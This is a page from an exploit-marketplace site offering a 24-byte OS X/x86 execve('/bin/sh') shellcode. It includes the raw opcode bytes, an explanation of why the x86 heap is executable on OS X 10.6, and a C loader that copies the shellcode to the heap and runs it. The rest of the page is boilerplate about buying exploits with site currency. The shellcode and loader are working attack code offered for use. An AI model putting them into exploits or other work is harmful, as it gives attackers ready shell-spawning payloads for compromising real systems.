0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
os-x/x86 intel - execve(/bin/sh) 24 bytes
========================================= os-x/x86 intel - execve(/bin/sh) 24 bytes ========================================= /* Title : OSX/x86 intel - execve(/bin/sh) - 24 bytes Type : Shellcode Author : Simon Derouineau - simon.derouineau [AT] ingesup.com Platform : Mac OSX/Intel. Tested on 10.6.4 Build 10F569 Informations : This code has to be compiled with gcc -m32 switch on 10.6.0+ More informations : x86-64 code is more secured than x86 code on OSX platform : Canaries are added, Stack and heap are non-executable, etc. Also, cat /var/db/dyld/dyld_shared_cache_x86_64.map shows that no memory can be mapped with WX flags, while it's possible with x86 code ( according to /var/db/dyld/dyld_shared_cache_i386.map). The method used here is the easier one, heap is executable in x86 applications, as described in "The Mac Hacker's Handbook", written by Charlie Miller. The trick is to memcopy the shellcode to the heap before executing it. */ #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xC0" // xor eax,eax "\x50" // push eax "\x68\x2F\x2F\x73\x68" // push dword "\x68\x2F\x62\x69\x6E" // push dword "\x89\xE3" // mov ebx,esp "\x50\x50\x53" // push eax, push eax, push ebx "\xB0\x3B" // mov al,0x3b "\x6A\x2A" // push byte 0x2a "\xCD\x80" // int 0x80 int main(int argc, char *argv[]){ void (*f)(); char *x = malloc(sizeof(shellcode)); memcpy(x, shellcode, sizeof(shellcode)); f = (void (*)()) x; f(); } # 0day.today [2024-10-05] #